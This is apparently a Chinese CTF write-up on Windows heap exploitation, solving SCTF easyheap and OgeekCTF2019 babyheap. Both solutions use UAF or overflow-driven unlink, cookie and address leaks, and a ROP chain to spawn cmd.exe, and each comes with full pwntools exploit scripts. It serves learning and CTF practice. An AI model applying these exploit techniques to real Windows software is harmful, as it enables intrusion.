初探 Windows 用户态堆利用——SCTF-easyheap 和 OgeekCTF2019 babyheap wp
最近这段时间学习了一下 Windows heap 利用,大致感触为
- Windows 的 heap 利用比起 Linux 要繁琐许多,因为 Windows 中并没有类似于
__free_hook
这些可以劫持执行流的指针,类似于 Linux got 表的 IAT 表也是只读的,所以要最终实现利用往往需要通过一系列冗长的 leak 找到栈地址然后 rop。 - Windows 闭源,虽然微软提供了 pdb 文件,但是想要通过逆向搞懂整个流程还是很有逆向难度的,现在我只能跟着大佬们的总结学习流程,仿佛又回到了之前学 Linux heap exploit 之初看不懂源码意识流 pwn 的时候。
总共做了两道题,SCTF-easyheap 和 OgeekCTF2019 babyheap,两题都是 unlink 实现任意地址读写,不过前一题提供了函数指针可以直接劫持执行流,后者则需要 rop。
参考资料:
- SCTF 2020 EasyWinHeap 入门 Windows Pwn
- Windows系统下典型堆漏洞产生原理及利用方法研究
- Windows 10 Nt Heap Exploitation (chinese version)
- ogeek ctf 2019 win pwn babyheap 详解
环境配置
我整理了一下用到的没用到的工具,放到了我的 GitHub 仓库上
调试工具:
- 在客户机内使用 windbg 调试
- 到微软官网下载符合自己 Windows 版本的 sdk 并安装即可。
- 可以通过 windbg 便捷地下到各个 dll 的 pdb 文件,在 windbg 中的 [file] -> [Symbol File Path] 中添加
C:\symbols;SRV*C:\symbols*http://msdl.microsoft.com/download/symbols
(可能需要代理)
- 远程调试:使用 ida
调试、利用环境
参考大师傅的文章使用 socat + pwntools + ida 进行调试利用。
首先 socat 起服务
socat tcp-listen:8888,fork EXEC:target.exe,pipes
- 根据版本不同,可能需要手动到防火墙里面把 socat 加到白名单中
然后脚本头部加上
raw_input()
,起脚本,连接后会停住这个时候用 ida 的远程调试 attach 到对应进程上,F9 继续执行,到脚本出敲下回车,脚本继续执行,执行到 ida 设置的断点处就会断下了
这种做法确实相对麻烦一些,并且由于我已经习惯了 gdb 的命令行式调试,所以其实初用 ida 调试是很不习惯的,不过这样可以避免每次开一台新的 win 虚拟机都重配一遍 python,使用原先 Linux pwn 的 pwntools 环境即可。
关于动态链接库,毕竟我们只是学习一下,不需要和原题的 dll 环境完全一致,保证大版本相同即可,而且实际上差别可能也只在偏移上,所以我就不去折腾换 Windows 的 dll 了(我估摸着也不太可能能像 Linux 那样随意换吧)。
另外,关于 Windows 的进程运行原理,建议参考《程序员的自我修养》Windows 相关章节,考虑到之前看这本书的时候偷了懒,其实我这方面的知识很散装,这里就不献丑了hhh。
SCTF-easyheap
利用环境为 win7 sp1
这道题目比较简单,漏洞点是一个 UAF + 一个堆溢出,当然,由于 UAF 品相非常好,所以堆溢出也没用上,类别 Linux ptmalloc2 的利用,利用其实就是一个 UAF leak + 一个 unlink。不过对于我这种对 Windows 一无所知的人来说,借着这道题,学习一些 Windows 的一些知识,也算挺有收获的。
利用
首先先分析程序,提供了五个方法
其中 delete 方法没有把 free 掉的指针置零
对于每个 Note 的结构,分析可得如下
struct note
{
void* puts_ptr;
char *content;
};
其中 puts_ptr 是一个函数指针,低四位被复用当作了 edit 时的大小。
别的部分逻辑都很好理解,这里不在赘述,只有 add 方法一个奇怪的 while 循环有点复杂,大概是编译器的什么优化吧。既然有 UAF,在 ptmalloc2 下我们很容易想到直接改 fastbin/tcache 的 next 直接任意地址分配,在 Windows 下虽然也有类似的单链表结构,在 Windows7 中也就是 LFH(Low Fragment Heap,低碎片堆) 了,不过这个东西开启有一定的条件,而且(至少在 win10 中)是随机分配的,不太稳定,这里还是利用后端堆管理器的 FreeHints(类似于 ptmalloc 中的 small bins)的 unlink 操作来实现利用。
这里的 unlink 操作和 ptmalloc 中并无特别大的区别,毕竟一个双链表脱链的操作还能有多大差别,参考前文提到的第二篇文章,可知该操作伪代码大致为
next = vent->Flink;
prev = vent->Blink;
if (prev->Flink != next->Blink || prev->Flink != vent)
{
RtlpHeapReportCorruption(vent);
}
else
{
prev->Flink = next;
next->Blink = prev;
}
我们参考 ctf-wiki 对 unlink 的介绍即可。为了完成这一点,只要先把 heap 地址 leak 出来,这通过 free 后 show 即可,然后一次 unlink 即可完全控制 note 数组,另外 note 结构里面居然存了一个函数指针,再通过 show 即可 leak 出函数指针获得 image base。然后修改 content 指针读取 idata 段的 crt 函数地址,leak 出来即可算出 system 函数的地址,最后直接劫持 puts 函数指针为 system 即可 getshell。所以有 exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.os = "windows"
sh = remote("192.168.XXX.XXX", XXXX)
def add(size):
sh.sendlineafter("option >", "1\n")
sh.sendlineafter("size >", str(size) + "\r\n")
def delete(idx):
sh.sendlineafter("option >", "2\n")
sh.sendlineafter("index >", str(idx) + "\r\n")
def show(idx):
sh.sendlineafter("option >", "3\n")
sh.sendlineafter("index >\r\n", str(idx) + "\r\n")
def edit(idx, payload):
sh.sendlineafter("option >", "4\n")
sh.sendafter("index >", str(idx) + "\r\n")
sh.sendafter("content >", str(payload))
raw_input()
# first, leak the heap base
add(32) # 0
add(32) # 1
add(32) # 2
delete(1)
show(1)
heap_base = u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00')) - 0x630
log.success("heap_base: " + hex(heap_base))
# we want to unlink, so we first get the note array's address
note_array_addr = heap_base + 0x578
note_0 = note_array_addr
note_1 = note_array_addr + 8
edit(1, p32(note_1) + p32(note_1 + 4) + '\n')
add(32) # trigger unlink
# currently, note[1].content == ¬e[1].content
edit(1, p32(note_1 + 8)[:3] + '\n')
# currently, note[1].content == ¬e[1].content + 4
show(1)
image_base = u32(sh.recv(4)) - 0x1043
log.success("image_base: " + hex(image_base))
exit_idata_addr = image_base + 0x20B0
edit(1, p32(0) + p32(note_0) + p32(image_base + 0x1043) + p32(exit_idata_addr) + '\n') # here 0 - 1 = 0xFFFFFFFF
show(3) # leak the exit's addr
# setvbuf 100464D0 system 100EFDA0
exit_addr = u32(sh.recv(4).ljust(4, '\x00'))
log.success("exit_addr: " + hex(exit_addr))
system_addr = exit_addr - 0x100464D0 + 0x100EFDA0
log.success("system_addr: " + hex(system_addr))
edit(2, p32(system_addr) + '\n')
edit(0, "cmd\x00\n")
show(0)
sh.interactive()
这个 exp 有小概率打不通,因为在 edit 功能会在末尾附加 \x00
,需要保证 heap 地址小于 0x01000000。当然也可以保证 heap 大于 0x01000000 然后在 leak image addr 前不修改 content 指针,直接 show,由于 content 指针不会截断,可以直接 leak 出来 puts_ptr。不过我测试了一些堆地址大概率是小于 0x01000000 的,所以还是选择多 edit 一次。
OgeekCTF2019 babyheap
所以我特意装了个 Windows server 2019,Windows 10 nt heap 结构建议参考 angle boy 的 slide:Windows 10 Nt Heap Exploitation (chinese version)。
程序的流程也不难逆,漏洞也很明显,就是 polish(edit 功能)中有堆溢出
同时 add 时也有 off-by-one
,但是没用上。另外输入都没有在末尾附加 '\x00'
。
另外开头送给了我们 image 的地址,同时还有一个我没用上的后面。
利用
和上题类似,我们使用 unlink,不过这里要实现 UAF 得通过堆溢出实现,所以得先把 _HEAP->Encoding
leak 出来,打开 WinDbg-x86,open executable 调试 babyheap,使用 dt _HEAP
查看该字段位置
可以看到在 0x50 偏移处,当然我们没法直接把这个读出来,不过由于 xor 运算可逆,所以我们只要把某个 UserBlock 的 header leak 出来,xor 他的真实值即可算出该 encoding。使用这样的脚本 leak
add(0x38, "A" * 0x38 + '\n') # 0
add(0x38, "B" * 0x38 + '\n') # 1
add(0x38, "C" * 0x38 + '\n') # 2
add(0x38, "D" * 0x38 + '\n') # 3
add(0x38, "D" * 0x38 + '\n') # 4
add(0x38, "D" * 0x38 + '\n') # 5
show(1)
sh.recvuntil("B" * 0x38)
xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7]
+ '\x08')
通过调试,首先找到 _HEAP 结构体(这个结构体一般在 heap 段的头部,如果找不到可以先通过一个 freed block 的 flink 指针找到 FreeLists 字段的地址,32 位时该字段相对于 _HEAP 头的偏移为 0xC0,然后就可以获得 Encoding 了)的位置,然后找到 Encoding,然后可以算出对于 idx=1 的 UserBlock 的 header 其真实值为 0x0800000809010008
任意地址读写
那么之后的利用,一个自然的想法是 UAF 一个 freed Block,修改 Flink 和 Blink 指向进程 image 中的 content_array,然后 unlink 一打即可获得非法指针,但是由于此题存在一个 exist 数组判断每个 note 有没有被 free 过,所以这样不可行。另外,如果真的这么做,会发现用 win7 中 HeapAlloc 触发 unlink 的方法会 abort 掉,这是因为 win10 中加入了 ListHint 来加速对 FreeLists 的查找,HeapAlloc 时返回的 Block 被 ListHint 直接指向,这个时候会做检测,如果我们修改了 Block 的 Flink,Blink,就会被检出而 abort。
不过我们仍然可以修改某个 Block 的 header,伪造一个 freed Block,然后通过 Block 的合并实现 unlink。
引用 angel boy 的 slide
我打的版本的 Windows 的 size 字段和 angel boy 的 slide 描述的不同,不是 real_size >> 4
而是 real_size >> 3
,所以对于 0x40 大小的 freed Block,size = 0x0008,flag = 0x00,SmallTagIndex = 0,后面的 4 个 byte 不变,由此可以写出 payload
payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008))
payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8)
这样在 free 伪造的 freed Block 的前一个 Block 时触发后向合并就会 unlink 了,为了不 abort,我们要保证该 Block 不被 ListHint 直接指向,当然他都没被 free 过肯定不会被直接指向,然后我们就获得了任意地址读写的能力
到此为止的脚本
...
raw_input()
sh.recvuntil("village gift : ")
image_base = int(sh.recvuntil("\n", drop = True), base = 16) - 0x1090
log.success("image_base: " + hex(image_base))
note_array_addr = image_base + 0x4370
add(0x38, "A" * 0x38 + '\n') # 0
add(0x38, "B" * 0x38 + '\n') # 1
add(0x38, "C" * 0x38 + '\n') # 2
add(0x38, "D" * 0x38 + '\n') # 3
add(0x38, "D" * 0x38 + '\n') # 4
add(0x38, "D" * 0x38 + '\n') # 5
show(1)
sh.recvuntil("B" * 0x38)
xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7]
+ '\x08')
cookie = xor(xored_header, 0x0800000809010008)
log.success("xored header: " + hex(xored_header))
# cookie leaked
log.success("cookie: " + hex(cookie))
payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008))
payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8)
delete(4)
edit(1, 0x50, payload + '\n')
delete(1)
漫长的 leak 之路
之后就是要 leak 出 stack_addr,一般选择使用 teb 表中存有的栈指针来 leak
而 teb 表和 peb 表的偏移通常是固定的,在 WinDbg 中,通过 r 指令即可查看
而 peb 则在 ntdll 中的 PebLdr 附近固定偏移处存有一个指针
所以我们只要 leak 出 ntdll 的地址就可以获得栈地址了。遗憾的是,babyheap 并没有从 ntdll 直接导入函数
不过可以看到它导入了 KERNEL32 的函数,而 KERNEL32 导入了大量 ntdll 的函数,所以我们读取对于的 IAT,获得 KERNEL32 的基地址,再读其 IAT 获得 ntdll 基地址最后就可以获得 stack addr 了。
另外,通过 image 导入的 crt 函数,如 puts 我们可以 leak 出 system 的地址
这里的脚本为
# then follow the long leaking process
HeapCreate_IAT = image_base + 0x3000
edit(2, 0x50, p32(note_array_addr + 0xC) + p32(HeapCreate_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
HeapCreate_addr = u32(sh.recv(4))
log.success("HeapCreate_addr: " + hex(HeapCreate_addr))
kernel32dll_base = HeapCreate_addr - 0x11FD0
log.success("kernel32dll_base: " + hex(kernel32dll_base))
NtCreateFile_IAT = kernel32dll_base + 0x719BC
edit(2, 0x50, p32(NtCreateFile_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
NtCreateFile_addr = u32(sh.recv(4))
log.success("NtCreateFile_addr: " + hex(NtCreateFile_addr))
ntdll_base = NtCreateFile_addr - 0x6FBD0
log.success("ntdll_base: " + hex(ntdll_base))
PebLdr_addr = ntdll_base + 0x11FC40
peb_stored_addr = PebLdr_addr - 0x34
edit(2, 0x50, p32(peb_stored_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
peb_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) - 0x21c
log.success("peb_addr: " + hex(peb_addr))
teb_addr = peb_addr + 0x3000
edit(2, 0x50, p32(teb_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
stack_end = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("stack_end: " + hex(stack_end))
log.success("start search return addr")
edit(2, 0x50, p32(image_base + 0x30C8) + '\n')
show(3)
sh.recvuntil("Show : ")
puts_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("puts_addr: " + hex(puts_addr))
system_addr = puts_addr - 0x100B89F0 + 0x100EFDA0
log.success("system_addr: " + hex(system_addr))
然后需要搜索栈,获得 main_ret 的地址,从后往前搜,搜到 main 函数返回的那个地址即可,这里是 image_base + 0x193B
,这个过程需要挺长时间的
def read_every_where(addr):
edit(2, 0x50, p32(addr) + '\n')
show(3)
sh.recvuntil("Show : ")
return u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00'))
main_ret_val = image_base + 0x193B
main_ret_addr = (stack_end & 0xFFFFF000) + 0x1000 - 0x4
while 1:
ret_val = read_every_where(main_ret_addr)
log.success("in " + hex(main_ret_addr) + " : " + hex(ret_val))
if ret_val == main_ret_val:
break
main_ret_addr = main_ret_addr - 0x4
log.success("found main_ret_addr: " + hex(main_ret_addr))
找到之后 rop 即可,32 位 X86 是栈传参,gadget 也省得找了
最后的 exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from operator import xor
# context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
sh = remote("192.168.124.133", 8888)
def add(size, payload):
sh.sendlineafter("choice?", "1")
sh.sendlineafter("long is your sword?", str(size))
sh.sendafter("Name it!", payload)
def delete(index):
sh.sendlineafter("choice?", "2")
sh.sendlineafter("to destroy?", str(index))
def edit(index, size, payload):
sh.sendlineafter("choice?", "3")
sh.sendlineafter("polish?", str(index))
sh.sendlineafter("time?", str(size))
sh.sendafter("name it again : ", payload)
def show(index):
sh.sendlineafter("choice?", "4")
sh.sendlineafter("check?", str(index))
def read_every_where(addr):
edit(2, 0x50, p32(addr) + '\n')
show(3)
sh.recvuntil("Show : ")
return u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00'))
raw_input()
sh.recvuntil("village gift : ")
image_base = int(sh.recvuntil("\n", drop = True), base = 16) - 0x1090
log.success("image_base: " + hex(image_base))
note_array_addr = image_base + 0x4370
add(0x38, "A" * 0x38 + '\n') # 0
add(0x38, "B" * 0x38 + '\n') # 1
add(0x38, "C" * 0x38 + '\n') # 2
add(0x38, "D" * 0x38 + '\n') # 3
add(0x38, "D" * 0x38 + '\n') # 4
add(0x38, "D" * 0x38 + '\n') # 5
show(1)
sh.recvuntil("B" * 0x38)
xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7]
+ '\x08')
cookie = xor(xored_header, 0x0800000809010008)
log.success("xored header: " + hex(xored_header))
# cookie leaked
log.success("cookie: " + hex(cookie))
payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008))
payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8)
delete(4)
edit(1, 0x50, payload + '\n')
delete(1)
# then follow the long leaking process
HeapCreate_IAT = image_base + 0x3000
edit(2, 0x50, p32(note_array_addr + 0xC) + p32(HeapCreate_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
HeapCreate_addr = u32(sh.recv(4))
log.success("HeapCreate_addr: " + hex(HeapCreate_addr))
kernel32dll_base = HeapCreate_addr - 0x11FD0
log.success("kernel32dll_base: " + hex(kernel32dll_base))
NtCreateFile_IAT = kernel32dll_base + 0x719BC
edit(2, 0x50, p32(NtCreateFile_IAT) + '\n')
show(3)
sh.recvuntil("Show : ")
NtCreateFile_addr = u32(sh.recv(4))
log.success("NtCreateFile_addr: " + hex(NtCreateFile_addr))
ntdll_base = NtCreateFile_addr - 0x6FBD0
log.success("ntdll_base: " + hex(ntdll_base))
PebLdr_addr = ntdll_base + 0x11FC40
peb_stored_addr = PebLdr_addr - 0x34
edit(2, 0x50, p32(peb_stored_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
peb_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) - 0x21c
log.success("peb_addr: " + hex(peb_addr))
teb_addr = peb_addr + 0x3000
edit(2, 0x50, p32(teb_addr) + '\n')
show(3)
sh.recvuntil("Show : ")
stack_end = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("stack_end: " + hex(stack_end))
log.success("start search return addr")
edit(2, 0x50, p32(image_base + 0x30C8) + '\n')
show(3)
sh.recvuntil("Show : ")
puts_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4])
log.success("puts_addr: " + hex(puts_addr))
system_addr = puts_addr - 0x100B89F0 + 0x100EFDA0
log.success("system_addr: " + hex(system_addr))
main_ret_val = image_base + 0x193B
main_ret_addr = (stack_end & 0xFFFFF000) + 0x1000 - 0x4
while 1:
ret_val = read_every_where(main_ret_addr)
log.success("in " + hex(main_ret_addr) + " : " + hex(ret_val))
if ret_val == main_ret_val:
break
main_ret_addr = main_ret_addr - 0x4
log.success("found main_ret_addr: " + hex(main_ret_addr))
payload = p32(system_addr) + p32(0xDEADBEEF)
payload += p32(main_ret_addr + 0x20) + p32(0)
payload = payload.ljust(0x20, '\xAA') + 'cmd.exe\x00'
edit(2, 0x50, p32(main_ret_addr) + '\n')
edit(3, 0x50, payload + '\n')
sh.sendlineafter("choice?", '5')
sh.interactive()